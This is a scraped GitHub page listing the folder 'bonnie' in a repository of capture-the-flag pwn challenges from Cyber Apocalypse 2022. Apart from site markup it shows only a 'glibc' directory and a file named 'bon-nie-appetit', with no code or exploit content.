<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> vital-information-resource-under-siege </span> <span>/</span> PWN-Challenges
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>3</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>15</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/vital-information-resource-under-siege/PWN-Challenges/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":334582086,"originating_url":"https://github.com/vital-information-resource-under-siege/PWN-Challenges/tree/main/cyber-apocalypse2022/bonnie","user_id":null}}" data-hydro-click-hmac="6adeaf50663b8334e4d08481c98cca7e27dd3593371125bc7ac60d49b1e79ed1"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>main</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/vital-information-resource-under-siege/PWN-Challenges/refs" cache-key="v0:1653307508.128077" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="dml0YWwtaW5mb3JtYXRpb24tcmVzb3VyY2UtdW5kZXItc2llZ2UvUFdOLUNoYWxsZW5nZXM=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/vital-information-resource-under-siege/PWN-Challenges/refs" cache-key="v0:1653307508.128077" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="dml0YWwtaW5mb3JtYXRpb24tcmVzb3VyY2UtdW5kZXItc2llZ2UvUFdOLUNoYWxsZW5nZXM=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>PWN-Challenges</span></span></span><span>/</span><span><span>cyber-apocalypse2022</span></span><span>/</span>bonnie<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>PWN-Challenges</span></span></span><span>/</span><span><span>cyber-apocalypse2022</span></span><span>/</span>bonnie<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/vital-information-resource-under-siege/PWN-Challenges/tree-commit/007d602d070b42ca7d4803a6591f39e80e9926de/cyber-apocalypse2022/bonnie" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/vital-information-resource-under-siege/PWN-Challenges/file-list/main/cyber-apocalypse2022/bonnie"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>glibc</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>bon-nie-appetit</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
